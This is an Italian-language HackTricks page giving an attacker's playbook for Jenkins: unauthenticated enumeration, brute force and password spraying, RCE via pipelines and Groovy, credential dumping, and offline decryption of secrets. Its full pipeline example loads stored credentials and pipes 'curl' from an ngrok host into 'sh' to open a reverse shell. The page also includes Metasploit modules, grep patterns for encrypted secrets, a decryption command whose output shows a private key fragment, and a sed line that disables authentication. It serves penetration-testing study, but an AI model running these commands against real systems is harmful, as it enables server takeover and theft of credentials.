Sicurezza di Jenkins
Reading time: 13 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Informazioni di Base
Jenkins è uno strumento che offre un metodo semplice per stabilire un ambiente di integrazione continua o consegna continua (CI/CD) per quasi qualsiasi combinazione di linguaggi di programmazione e repository di codice sorgente utilizzando pipeline. Inoltre, automatizza vari compiti di sviluppo di routine. Sebbene Jenkins non elimini la necessità di creare script per singoli passaggi, fornisce un modo più veloce e robusto per integrare l'intera sequenza di strumenti di build, test e distribuzione rispetto a quanto si possa facilmente costruire manualmente.
Enumerazione Non Autenticata
Per cercare pagine Jenkins interessanti senza autenticazione come (/people o /asynchPeople, che elenca gli utenti attuali) puoi usare:
msf> use auxiliary/scanner/http/jenkins_enum
Controlla se puoi eseguire comandi senza necessitare di autenticazione:
msf> use auxiliary/scanner/http/jenkins_command
Senza credenziali puoi guardare dentro il percorso /asynchPeople/ o /securityRealm/user/admin/search/index?q= per nomi utente.
Potresti essere in grado di ottenere la versione di Jenkins dal percorso /oops o /error.
Vulnerabilità Conosciute
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
Accesso
Nelle informazioni di base puoi controllare tutti i modi per accedere a Jenkins:
Registrazione
Sarai in grado di trovare istanze di Jenkins che ti permettono di creare un account e accedere ad esso. Semplice come quello.
Accesso SSO
Inoltre, se la funzionalità/plugin SSO erano presenti, dovresti tentare di accedere all'applicazione utilizzando un account di test (ad es., un account di test Github/Bitbucket). Trucco da qui.
Bruteforce
Jenkins manca di politiche sulle password e di mitigazione del brute-force sui nomi utente. È essenziale bruteforzare gli utenti poiché potrebbero essere in uso password deboli o nomi utente come password, anche nomi utente invertiti come password.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Usa questo script python o questo script powershell.
Bypass della whitelist IP
Molte organizzazioni combinano sistemi di gestione del controllo sorgente (SCM) basati su SaaS come GitHub o GitLab con una soluzione CI interna e self-hosted come Jenkins o TeamCity. Questa configurazione consente ai sistemi CI di ricevere eventi webhook dai fornitori di controllo sorgente SaaS, principalmente per attivare i lavori della pipeline.
Per raggiungere questo obiettivo, le organizzazioni whitelistano i range IP delle piattaforme SCM, consentendo loro di accedere al sistema CI interno tramite webhook. Tuttavia, è importante notare che chiunque può creare un account su GitHub o GitLab e configurarlo per attivare un webhook, potenzialmente inviando richieste al sistema CI interno.
Abusi interni di Jenkins
In questi scenari supponiamo che tu abbia un account valido per accedere a Jenkins.
warning
A seconda del meccanismo di Autorizzazione configurato in Jenkins e dei permessi dell'utente compromesso, potresti essere in grado o meno di eseguire i seguenti attacchi.
Per ulteriori informazioni, controlla le informazioni di base:
Elencare gli utenti
Se hai accesso a Jenkins, puoi elencare altri utenti registrati in http://127.0.0.1:8080/asynchPeople/
Dumping delle build per trovare segreti in chiaro
Usa questo script per dumpare le uscite della console delle build e le variabili d'ambiente delle build per sperare di trovare segreti in chiaro.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
Furto delle credenziali SSH
Se l'utente compromesso ha sufficienti privilegi per creare/modificare un nuovo nodo Jenkins e le credenziali SSH sono già memorizzate per accedere ad altri nodi, potrebbe rubare quelle credenziali creando/modificando un nodo e impostando un host che registrerà le credenziali senza verificare la chiave dell'host:
Di solito troverai le credenziali ssh di Jenkins in un fornitore globale (/credentials/
), quindi puoi anche estrarle come faresti con qualsiasi altro segreto. Maggiori informazioni nella sezione Dumping secrets section.
RCE in Jenkins
Ottenere una shell nel server Jenkins offre all'attaccante l'opportunità di rubare tutti i segreti e le variabili d'ambiente e di sfruttare altre macchine situate nella stessa rete o persino raccogliere credenziali cloud.
Per impostazione predefinita, Jenkins verrà eseguito come SYSTEM. Quindi, comprometterlo darà all'attaccante privilegi SYSTEM.
RCE Creando/Modificando un progetto
Creare/Modificare un progetto è un modo per ottenere RCE sul server Jenkins:
Jenkins RCE Creating/Modifying Project
RCE Eseguendo uno script Groovy
Puoi anche ottenere RCE eseguendo uno script Groovy, che potrebbe essere più furtivo rispetto alla creazione di un nuovo progetto:
Jenkins RCE with Groovy Script
RCE Creando/Modificando una Pipeline
Puoi anche ottenere RCE creando/modificando una pipeline:
Jenkins RCE Creating/Modifying Pipeline
Sfruttamento delle Pipeline
Per sfruttare le pipeline devi comunque avere accesso a Jenkins.
Pipeline di Build
Le pipeline possono anche essere utilizzate come meccanismo di build nei progetti, in tal caso può essere configurato un file all'interno del repository che conterrà la sintassi della pipeline. Per impostazione predefinita viene utilizzato /Jenkinsfile
:
È anche possibile memorizzare i file di configurazione della pipeline in altri luoghi (in altri repository, ad esempio) con l'obiettivo di separare l'accesso al repository e l'accesso alla pipeline.
Se un attaccante ha accesso in scrittura su quel file, sarà in grado di modificarlo e potenzialmente attivare la pipeline senza nemmeno avere accesso a Jenkins.
È possibile che l'attaccante debba bypassare alcune protezioni dei rami (a seconda della piattaforma e dei privilegi dell'utente, potrebbero essere bypassate o meno).
I trigger più comuni per eseguire una pipeline personalizzata sono:
- Pull request al ramo principale (o potenzialmente ad altri rami)
- Push al ramo principale (o potenzialmente ad altri rami)
- Aggiornare il ramo principale e aspettare che venga eseguito in qualche modo
note
Se sei un utente esterno non dovresti aspettarti di creare una PR al ramo principale del repo di un altro utente/organizzazione e attivare la pipeline... ma se è mal configurato potresti compromettere completamente le aziende semplicemente sfruttando questo.
RCE Pipeline
Nella sezione RCE precedente è già stata indicata una tecnica per ottenere RCE modificando una pipeline.
Controllo delle variabili d'ambiente
È possibile dichiarare variabili d'ambiente in chiaro per l'intera pipeline o per fasi specifiche. Queste variabili d'ambiente non dovrebbero contenere informazioni sensibili, ma un attaccante potrebbe sempre controllare tutte le configurazioni della pipeline/Jenkinsfile:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Dumping secrets
Per informazioni su come i segreti vengono solitamente trattati da Jenkins, controlla le informazioni di base:
Le credenziali possono essere scoperta a fornitori globali (/credentials/
) o a progetti specifici (/job/<project-name>/configure
). Pertanto, per esfiltrare tutti, è necessario compromettere almeno tutti i progetti che contengono segreti ed eseguire pipeline personalizzate/contaminate.
C'è un altro problema, per ottenere un segreto all'interno dell'env di una pipeline è necessario conoscere il nome e il tipo del segreto. Ad esempio, se provi a caricare un segreto usernamePassword
come un segreto string
, otterrai questo errore:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Ecco come caricare alcuni tipi di segreti comuni:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
Alla fine di questa pagina puoi trovare tutti i tipi di credenziali: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
warning
Il modo migliore per estrarre tutti i segreti in una volta è compromettere la macchina Jenkins (eseguendo una reverse shell nel nodo integrato, ad esempio) e poi leakare le chiavi master e i segreti crittografati e decrittografarli offline.
Maggiori informazioni su come fare questo nella sezione Nodes & Agents e nella sezione Post Exploitation.
Trigger
Dalla documentazione: La direttiva triggers
definisce i modi automatizzati in cui il Pipeline dovrebbe essere riattivato. Per i Pipeline che sono integrati con una sorgente come GitHub o BitBucket, triggers
potrebbe non essere necessario poiché l'integrazione basata su webhook sarà probabilmente già presente. I trigger attualmente disponibili sono cron
, pollSCM
e upstream
.
Esempio di Cron:
triggers { cron('H */4 * * 1-5') }
Controlla altri esempi nella documentazione.
Nod e Agenti
Un istanza di Jenkins potrebbe avere diversi agenti in esecuzione su macchine diverse. Da una prospettiva di attaccante, l'accesso a diverse macchine significa diverse potenziali credenziali cloud da rubare o diverso accesso alla rete che potrebbe essere abusato per sfruttare altre macchine.
Per ulteriori informazioni controlla le informazioni di base:
Puoi enumerare i nodi configurati in /computer/
, di solito troverai il Built-In Node
(che è il nodo che esegue Jenkins) e potenzialmente di più:
È particolarmente interessante compromettere il nodo Built-In perché contiene informazioni sensibili di Jenkins.
Per indicare che vuoi eseguire il pipeline nel nodo Jenkins integrato puoi specificare all'interno del pipeline la seguente configurazione:
pipeline {
agent {label 'built-in'}
Esempio completo
Pipeline in un agente specifico, con un trigger cron, con variabili d'ambiente della pipeline e dello stage, caricando 2 variabili in un passaggio e inviando una reverse shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Lettura di File Arbitrari per RCE
Jenkins Arbitrary File Read to RCE via "Remember Me"
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Post Sfruttamento
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
Puoi elencare i segreti accedendo a /credentials/
se hai abbastanza permessi. Tieni presente che questo elencherà solo i segreti all'interno del file credentials.xml
, ma i file di configurazione della build potrebbero avere anche ulteriori credenziali.
Se puoi vedere la configurazione di ogni progetto, puoi anche vedere lì i nomi delle credenziali (segreti) utilizzati per accedere al repository e altre credenziali del progetto.
From Groovy
Jenkins Dumping Secrets from Groovy
From disk
Questi file sono necessari per decriptare i segreti di Jenkins:
- secrets/master.key
- secrets/hudson.util.Secret
Tali segreti possono solitamente essere trovati in:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Ecco una regex per trovarli:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Decrittare i segreti di Jenkins offline
Se hai estratto le password necessarie per decrittare i segreti, usa questo script per decrittare quei segreti.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Decrittare i segreti di Jenkins da Groovy
println(hudson.util.Secret.decrypt("{...}"))
Crea un nuovo utente admin
- Accedi al file Jenkins config.xml in
/var/lib/jenkins/config.xml
oC:\Program Files (x86)\Jenkis\
- Cerca la parola
<useSecurity>true</useSecurity>
e cambia la parolatrue
infalse
. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
- Riavvia il server Jenkins:
service jenkins restart
- Ora vai di nuovo al portale Jenkins e Jenkins non chiederà alcuna credenziale questa volta. Naviga su "Manage Jenkins" per impostare di nuovo la password dell'amministratore.
- Riabilita la sicurezza cambiando le impostazioni in
<useSecurity>true</useSecurity>
e riavvia di nuovo Jenkins.
Riferimenti
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.